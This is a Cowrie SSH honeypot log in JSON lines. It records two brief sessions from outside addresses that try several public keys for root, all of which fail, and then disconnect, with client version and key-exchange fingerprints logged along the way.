{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:59:ee:03:d0:c2:ff:be:c3:1d:eb:97:ac:cd:5c:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0nGAXZznugDBgSFoKK1iUCBi9aqdQ92Hpk6Vu3elfhOPf6tbXuMbtfn2YTJS/oF/w1TcxFbxhviXsIJgK99JYWnmS6oKkK8mNq8tGEBB8Bwcmop6RierT3OtkY2TDGF4xTnapanPjG78NOoAPrUKPAHiKGwYC2yK/pl7Ywbc5wgrP4Yf2ldOssf+TSkpjBU6i9Vm4gfuW9N8hdMEDQPx0v1e2BCsEaDV3hV1QNKd2N5zsqiqiv9KzakM7kL5CC2VtlU84ZaKQ0lb3C47KZuf9D6o799MTWu1/GaJ7XJ1mPo0SgmQYDLKwijgQHq+cuFnvkkYOOJLCNd9jf1lVPFaVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.015954Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:0d:45:71:0e:52:e5:7c:92:50:e8:53:54:b5:6d:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqmKYYlJD+ra3dBH1tcgoqZ6G5npbumMphM2kCicbzYk6aG6mYTO4sHXUbGZEsus/JwFEVcaTO9UHJnZ1AmPGMnMwkgHvQMLQBUfe7MVZPapY2kH+OnJkNQEZv4cgfqK/SePOgtySxnzhJs/XUneaL/AP2lZkBnB0WmQioEmluEqomfe79IN0DoEu6O4xp6s/iXg4fyxr0JvHzSdpo7qCnlm1D/SvQseD/gn1n+1qZZ6NEb13tUgToXbwV13O+JaH3DI5hXTuaUz9WsYGmVMfkMiu5ZVs/gZMAJs30WJVWr6jVeYxkqtBkFlP7xFyFqsmMkrRN/cfTxF8VqQYK3Tjv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:0d:45:71:0e:52:e5:7c:92:50:e8:53:54:b5:6d:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.042758Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:0d:45:71:0e:52:e5:7c:92:50:e8:53:54:b5:6d:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqmKYYlJD+ra3dBH1tcgoqZ6G5npbumMphM2kCicbzYk6aG6mYTO4sHXUbGZEsus/JwFEVcaTO9UHJnZ1AmPGMnMwkgHvQMLQBUfe7MVZPapY2kH+OnJkNQEZv4cgfqK/SePOgtySxnzhJs/XUneaL/AP2lZkBnB0WmQioEmluEqomfe79IN0DoEu6O4xp6s/iXg4fyxr0JvHzSdpo7qCnlm1D/SvQseD/gn1n+1qZZ6NEb13tUgToXbwV13O+JaH3DI5hXTuaUz9WsYGmVMfkMiu5ZVs/gZMAJs30WJVWr6jVeYxkqtBkFlP7xFyFqsmMkrRN/cfTxF8VqQYK3Tjv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.046882Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:a7:f2:9f:02:84:fa:89:dc:4a:c7:82:f3:b7:34:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy5cxioiHzqUaR+T3PCpAnMZDJOvfVF6MSrm/wZEfIdfmUIjOg2dlDa63/4QrlgPk7IsppDD3JQBKIHU9uoWCvtgDHPaMXjhjSZrnbkH9e1xIz5e3rVqN1H1ruEh/8czpqSRCztp7Fxoc78NiGgzH7AOM8DWHTFXIGWl0PM3CynOmjoFWe42OxL5F3t19/O8a0y0YL0flLBXphcWBCmj50VFpM1HYVxMaZZDQWYoYSLcRiYNCiy5Tpe4H+l8qbnSXlqFBhHLgGdUkLEPZ1HybUkrJUApL8P3nkAHLfy/vq15JidHr+OHo5Ne9/T3HVgKluyI+ZNKSq2didVQwe5Or5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:a7:f2:9f:02:84:fa:89:dc:4a:c7:82:f3:b7:34:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.073726Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:a7:f2:9f:02:84:fa:89:dc:4a:c7:82:f3:b7:34:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy5cxioiHzqUaR+T3PCpAnMZDJOvfVF6MSrm/wZEfIdfmUIjOg2dlDa63/4QrlgPk7IsppDD3JQBKIHU9uoWCvtgDHPaMXjhjSZrnbkH9e1xIz5e3rVqN1H1ruEh/8czpqSRCztp7Fxoc78NiGgzH7AOM8DWHTFXIGWl0PM3CynOmjoFWe42OxL5F3t19/O8a0y0YL0flLBXphcWBCmj50VFpM1HYVxMaZZDQWYoYSLcRiYNCiy5Tpe4H+l8qbnSXlqFBhHLgGdUkLEPZ1HybUkrJUApL8P3nkAHLfy/vq15JidHr+OHo5Ne9/T3HVgKluyI+ZNKSq2didVQwe5Or5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.078966Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:6b:27:8e:67:c2:e7:80:59:b5:06:a8:ec:06:2d:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdPwRYq+mw9MwnSXz1E6ICs0w/Nt8/2y0G3Ie90z86AJqQQ9URxETAzmLDAxStRG0NXxVDyT0X0WySQzsvBWPDDkshZurskhtzkTZBQP6ajceYRRtkShXxGxf2sKUYP5ffcbhh7LB+Lgc9Q1zSjLyjvsKGE+H+wvXfOp47NoaSKf6D/yJNiHvr18GXfNhOx3N9fTE7r1MNLqqkuSh3acSqjOp9Yzw7viLfbTwRvhn18j+CZ9went0ZtQ/XoxF8NpGVcEO98rzOdPPN+aCLZ3Vo2rTQYEKjkC9ZUCCp1xyEaAh+uVgdvaLCdopGYsJHez4KcC6se6ClHeklv+N+CWPkarFNCQggzvZvwZJwDGfYiHg2gT/GA+SqMZQ95sxnI97jqUnFJVRz0pvGn4bklf9J4MOYRBUJSSjS5EtI+yB5R1FTtkJ72IxnuOnTAEAdavHMux1QVS872oCvQbHlERzcjzFlOgDWTVDvAgYWC1wcXrK+jPxa/szPRW7JLG4pZnyECYBClm0ThrIiwvlrQivJji+d0e2TQTCIGnFJLeC1B/jQAtylNsg9b8Y8sOyeYa/eoD7hIaR0nY33c7kyTqa8eERJ3q0UcDx90OsezGm427HfBrsgHV3oxKXjj17DLLXaDEuawYX5ba3Mi8SI5gNgG3PntSrkVImuEwMkTV8hLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:6b:27:8e:67:c2:e7:80:59:b5:06:a8:ec:06:2d:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.107018Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:6b:27:8e:67:c2:e7:80:59:b5:06:a8:ec:06:2d:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdPwRYq+mw9MwnSXz1E6ICs0w/Nt8/2y0G3Ie90z86AJqQQ9URxETAzmLDAxStRG0NXxVDyT0X0WySQzsvBWPDDkshZurskhtzkTZBQP6ajceYRRtkShXxGxf2sKUYP5ffcbhh7LB+Lgc9Q1zSjLyjvsKGE+H+wvXfOp47NoaSKf6D/yJNiHvr18GXfNhOx3N9fTE7r1MNLqqkuSh3acSqjOp9Yzw7viLfbTwRvhn18j+CZ9went0ZtQ/XoxF8NpGVcEO98rzOdPPN+aCLZ3Vo2rTQYEKjkC9ZUCCp1xyEaAh+uVgdvaLCdopGYsJHez4KcC6se6ClHeklv+N+CWPkarFNCQggzvZvwZJwDGfYiHg2gT/GA+SqMZQ95sxnI97jqUnFJVRz0pvGn4bklf9J4MOYRBUJSSjS5EtI+yB5R1FTtkJ72IxnuOnTAEAdavHMux1QVS872oCvQbHlERzcjzFlOgDWTVDvAgYWC1wcXrK+jPxa/szPRW7JLG4pZnyECYBClm0ThrIiwvlrQivJji+d0e2TQTCIGnFJLeC1B/jQAtylNsg9b8Y8sOyeYa/eoD7hIaR0nY33c7kyTqa8eERJ3q0UcDx90OsezGm427HfBrsgHV3oxKXjj17DLLXaDEuawYX5ba3Mi8SI5gNgG3PntSrkVImuEwMkTV8hLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.111289Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:98:51:bb:2f:ba:17:94:2a:b6:0e:62:12:af:b5:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxzhL1pYxM088+ve3S4DF/3JQNab6n9PAqQ4KcYi69IMnJ2t1Xigwxdws634fy51YJeot5HmQlwxpOUH79mrfaqmfGBUQMXEgRdJCOrEUvhFYUMo/CQtPTTscrjy5DIo3hmcXBaOuE2WaHnG4o5skycJ6UxUAsn/75/pEFzyWQueAyWl8QwFc9HOU/im5o8Mh3dX/+cHt/OJGudzC5ipElR5ZrNNiCqydumUVA1jp2Fw2TnRWrynZdNDqOxkJFz3PFgQ65H0nxG4xQenL7ReXqcwTGXAD3ECB/0w1UFsn55SognhIbAuD0soEc4WUL5l9UrfCeBxnJrIp7eYjHJ/+y0FFOWgnBcCJ4SUsg8M1KYiLPdMKUdiwliEfn3jSmyBjIFOp46qeaU5KtwcZEt/J3ju0u+m8xLIujJZ4u2Jc0wmzn0xUCh2QXxjmSIwRKvlNWjienxRXdOvZx10lf48sJgvcrSQWFA4bBXqGz9x8oW5owox0taIeO5h4yLprupW8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:98:51:bb:2f:ba:17:94:2a:b6:0e:62:12:af:b5:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.144745Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:98:51:bb:2f:ba:17:94:2a:b6:0e:62:12:af:b5:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxzhL1pYxM088+ve3S4DF/3JQNab6n9PAqQ4KcYi69IMnJ2t1Xigwxdws634fy51YJeot5HmQlwxpOUH79mrfaqmfGBUQMXEgRdJCOrEUvhFYUMo/CQtPTTscrjy5DIo3hmcXBaOuE2WaHnG4o5skycJ6UxUAsn/75/pEFzyWQueAyWl8QwFc9HOU/im5o8Mh3dX/+cHt/OJGudzC5ipElR5ZrNNiCqydumUVA1jp2Fw2TnRWrynZdNDqOxkJFz3PFgQ65H0nxG4xQenL7ReXqcwTGXAD3ECB/0w1UFsn55SognhIbAuD0soEc4WUL5l9UrfCeBxnJrIp7eYjHJ/+y0FFOWgnBcCJ4SUsg8M1KYiLPdMKUdiwliEfn3jSmyBjIFOp46qeaU5KtwcZEt/J3ju0u+m8xLIujJZ4u2Jc0wmzn0xUCh2QXxjmSIwRKvlNWjienxRXdOvZx10lf48sJgvcrSQWFA4bBXqGz9x8oW5owox0taIeO5h4yLprupW8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.149589Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:25:53.180982Z","src_ip":"192.3.206.66","session":"47431dca386c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.184.158","src_port":57612,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7b2e7a3d9c5","protocol":"ssh","message":"New connection: 31.42.184.158:57612 (10.17.0.5:22) [session: a7b2e7a3d9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:18.400482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:18.405836Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:18.539970Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:61:bc:d9:e6:d0:fa:b8:12:1f:b8:29:27:5d:15:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgscbyIpY7vT+I2FG1y8hi7DoOwPufmK8XKR99JuGFfzLYyFnNz3/IQ2ZwMxf2ZUqhzzxn1NMibwaZ3PaDSRjTr7QhTRbqzUDiOpGcyUhEOOGpnTrO+IiRqrR5m5470eQ0drBY3Fb0krx1WvhfeS6XjemGFw9S6aE25oMKyUWWAKR2t3GpEvR+0m/Dnj8MEZ1Am+dixzwNzqVV7QvlImvdJRyZUZ/wfQfu3yQe9Y+YTzpYFwepEuB87z/PbXBfT1y6bsgKN2CPtFRg34+nTXiZTPtnDbmu5Y+9DQSzJlTmiBqnqnqtte2lXkZYtCiYk9e0+8u0yPZrN+6/g5eKTpRj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:61:bc:d9:e6:d0:fa:b8:12:1f:b8:29:27:5d:15:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.166445Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:61:bc:d9:e6:d0:fa:b8:12:1f:b8:29:27:5d:15:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgscbyIpY7vT+I2FG1y8hi7DoOwPufmK8XKR99JuGFfzLYyFnNz3/IQ2ZwMxf2ZUqhzzxn1NMibwaZ3PaDSRjTr7QhTRbqzUDiOpGcyUhEOOGpnTrO+IiRqrR5m5470eQ0drBY3Fb0krx1WvhfeS6XjemGFw9S6aE25oMKyUWWAKR2t3GpEvR+0m/Dnj8MEZ1Am+dixzwNzqVV7QvlImvdJRyZUZ/wfQfu3yQe9Y+YTzpYFwepEuB87z/PbXBfT1y6bsgKN2CPtFRg34+nTXiZTPtnDbmu5Y+9DQSzJlTmiBqnqnqtte2lXkZYtCiYk9e0+8u0yPZrN+6/g5eKTpRj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.170949Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:0d:e6:e3:79:7d:74:1e:e9:d9:6a:e6:2c:e5:d4:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9V+UeKe72HT+Gcy4bZlEF8kOrDiBfsMGRRKmj6By1NCKCYdgymdUUynvI3DFZNsUaTsoHjjMMvliY5b4T+w8tVrkGTtwSZ7s1qTCDjEdWQbYYiErH8NgZbsGfbwtFSXsZpeMJzdPxh5eaDSaKCHeIKWHRv+2Wj9E+5VLCBKHawP9fkSS4j+0P5FqGeLhnHPrdZR0jhchh9djvRoPCqL/kD/OuooEESYNZUDCrFAZcKEFl5wuhHGZ3KsN+DNk1NuazUziIM6CPBcIINFXOSi3J4qaEPQu3execT1azHjE8oaPLqPkd2muSGNowWR9ytDQtmykmgcJoMolh7QSbijPB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:0d:e6:e3:79:7d:74:1e:e9:d9:6a:e6:2c:e5:d4:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.303606Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:0d:e6:e3:79:7d:74:1e:e9:d9:6a:e6:2c:e5:d4:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9V+UeKe72HT+Gcy4bZlEF8kOrDiBfsMGRRKmj6By1NCKCYdgymdUUynvI3DFZNsUaTsoHjjMMvliY5b4T+w8tVrkGTtwSZ7s1qTCDjEdWQbYYiErH8NgZbsGfbwtFSXsZpeMJzdPxh5eaDSaKCHeIKWHRv+2Wj9E+5VLCBKHawP9fkSS4j+0P5FqGeLhnHPrdZR0jhchh9djvRoPCqL/kD/OuooEESYNZUDCrFAZcKEFl5wuhHGZ3KsN+DNk1NuazUziIM6CPBcIINFXOSi3J4qaEPQu3execT1azHjE8oaPLqPkd2muSGNowWR9ytDQtmykmgcJoMolh7QSbijPB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.307683Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:a1:b1:c9:64:81:25:2d:b1:54:5c:97:be:f2:4f:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCXtU2xjq46jJscB4Y5w8lUyc3d0EvMZ/wB2iTaTMoGmw7xMhE7FVcHP4dc2u0MDq6cnmMI1K0rttYNfvA7F2JotT8cwK5GA99MT0h6cajEsFXBPyGM59BB+6X5lHxov9+oMLAY11V6jo4QX/2IU9U1FbM1dC6b1FVn68cy7rA6Gpmh1ULN5EF46+nIJv0/K9tVm9WqZW10WqFcNHO0Zve5BiLung0SnYRbFLaz9Fq3aAtfi4/O9ZvFLr5g579HeQnMYZ/gKj2Ak5jm9/acPbPUMSqBZpg6zO2oVOvzwYDftCKgovX1bLJcqJ2Vb0/zYhaN+K1pIksM4JU0ctjOARXz8g0cpHHc5+9ez4JiIZonxvOh2snklWHqyPUGM/jo+nSQdcqkdNpR3n2VE2AlhcM93mf/jL+2mPYkLdMA0ggKYL6izqEFVnxY58lytVoNnsKwvFKCmnlPbW0R9MwK0UJehqEKfAUJ94xfHfl5XzIHwieJP3w9pBcLjlDsOkS785s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:a1:b1:c9:64:81:25:2d:b1:54:5c:97:be:f2:4f:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.442803Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:a1:b1:c9:64:81:25:2d:b1:54:5c:97:be:f2:4f:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCXtU2xjq46jJscB4Y5w8lUyc3d0EvMZ/wB2iTaTMoGmw7xMhE7FVcHP4dc2u0MDq6cnmMI1K0rttYNfvA7F2JotT8cwK5GA99MT0h6cajEsFXBPyGM59BB+6X5lHxov9+oMLAY11V6jo4QX/2IU9U1FbM1dC6b1FVn68cy7rA6Gpmh1ULN5EF46+nIJv0/K9tVm9WqZW10WqFcNHO0Zve5BiLung0SnYRbFLaz9Fq3aAtfi4/O9ZvFLr5g579HeQnMYZ/gKj2Ak5jm9/acPbPUMSqBZpg6zO2oVOvzwYDftCKgovX1bLJcqJ2Vb0/zYhaN+K1pIksM4JU0ctjOARXz8g0cpHHc5+9ez4JiIZonxvOh2snklWHqyPUGM/jo+nSQdcqkdNpR3n2VE2AlhcM93mf/jL+2mPYkLdMA0ggKYL6izqEFVnxY58lytVoNnsKwvFKCmnlPbW0R9MwK0UJehqEKfAUJ94xfHfl5XzIHwieJP3w9pBcLjlDsOkS785s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.447363Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:47:d2:40:e4:56:64:a5:e7:e5:69:ed:83:c4:b0:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAylokd21VEtKta9imMo+4SKrc1Na4otahH7xdM7aTPuzKEBdV3vBnN6cj/y+EAL42yUc8+Sn91gq6F5YGU8zCS8g8IFix66SHNwHLgtPPnOalsBv8G674Mj6sBoU3E0w8540u2Oh+UkNTbnErJJvAu+Z9VktAvnRuXCXkRXu77DpPi0W1Vbs0gNCd2MB/YVF1vP3TgnTfVI5aJnUorFpZeWxVUOtr4uzVWqEh9JBx81wzYHbHDdcoDXbpU0NfEeyxwqZsRs0DUqn3NZEwoPLzqgSafs1Alck037QAYRqQ/hvJ9Z2i795BeSsrv8GNHGK9025VOdYYSQV2BHuURhhsEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:47:d2:40:e4:56:64:a5:e7:e5:69:ed:83:c4:b0:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.577463Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:47:d2:40:e4:56:64:a5:e7:e5:69:ed:83:c4:b0:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAylokd21VEtKta9imMo+4SKrc1Na4otahH7xdM7aTPuzKEBdV3vBnN6cj/y+EAL42yUc8+Sn91gq6F5YGU8zCS8g8IFix66SHNwHLgtPPnOalsBv8G674Mj6sBoU3E0w8540u2Oh+UkNTbnErJJvAu+Z9VktAvnRuXCXkRXu77DpPi0W1Vbs0gNCd2MB/YVF1vP3TgnTfVI5aJnUorFpZeWxVUOtr4uzVWqEh9JBx81wzYHbHDdcoDXbpU0NfEeyxwqZsRs0DUqn3NZEwoPLzqgSafs1Alck037QAYRqQ/hvJ9Z2i795BeSsrv8GNHGK9025VOdYYSQV2BHuURhhsEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.581922Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:a3:26:4e:42:e3:74:3f:44:1e:44:8c:68:ab:da:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnUEHd3MN4A7xNmZ6m6nVBFx3NYrYciLQweSzxOEs+w3cA1kzVEceR1A0FfZsMk3guc1eiCFflZnMfn5wI1zbR5OwDt5znylQ1++4qWDBi6NIcs5AkCFzaakdY1+TvA1JVx45yr2AOhDJ70+X/ho+C+5UGWpFmYgae2qLHvoMx7SotMU9HL3pPeGb8xQZe4I/vXdvTghyBqvIMPxx++9PrXCJT8dHcdvb1r1smwaj5qfyzuuTOJYTfjtrODRvDkd6OaknGDfboWzu1X8SWyAe0hBZnqemJjYVl4qgwjgE5vvmvo37FQ26tnLO5Fl1SnAjOqqykezxuMSHbM6Ca9ThB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:a3:26:4e:42:e3:74:3f:44:1e:44:8c:68:ab:da:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.713161Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:a3:26:4e:42:e3:74:3f:44:1e:44:8c:68:ab:da:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnUEHd3MN4A7xNmZ6m6nVBFx3NYrYciLQweSzxOEs+w3cA1kzVEceR1A0FfZsMk3guc1eiCFflZnMfn5wI1zbR5OwDt5znylQ1++4qWDBi6NIcs5AkCFzaakdY1+TvA1JVx45yr2AOhDJ70+X/ho+C+5UGWpFmYgae2qLHvoMx7SotMU9HL3pPeGb8xQZe4I/vXdvTghyBqvIMPxx++9PrXCJT8dHcdvb1r1smwaj5qfyzuuTOJYTfjtrODRvDkd6OaknGDfboWzu1X8SWyAe0hBZnqemJjYVl4qgwjgE5vvmvo37FQ26tnLO5Fl1SnAjOqqykezxuMSHbM6Ca9ThB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.716913Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:26:19.848828Z","src_ip":"31.42.184.158","session":"a7b2e7a3d9c5","protocol":"ssh"}
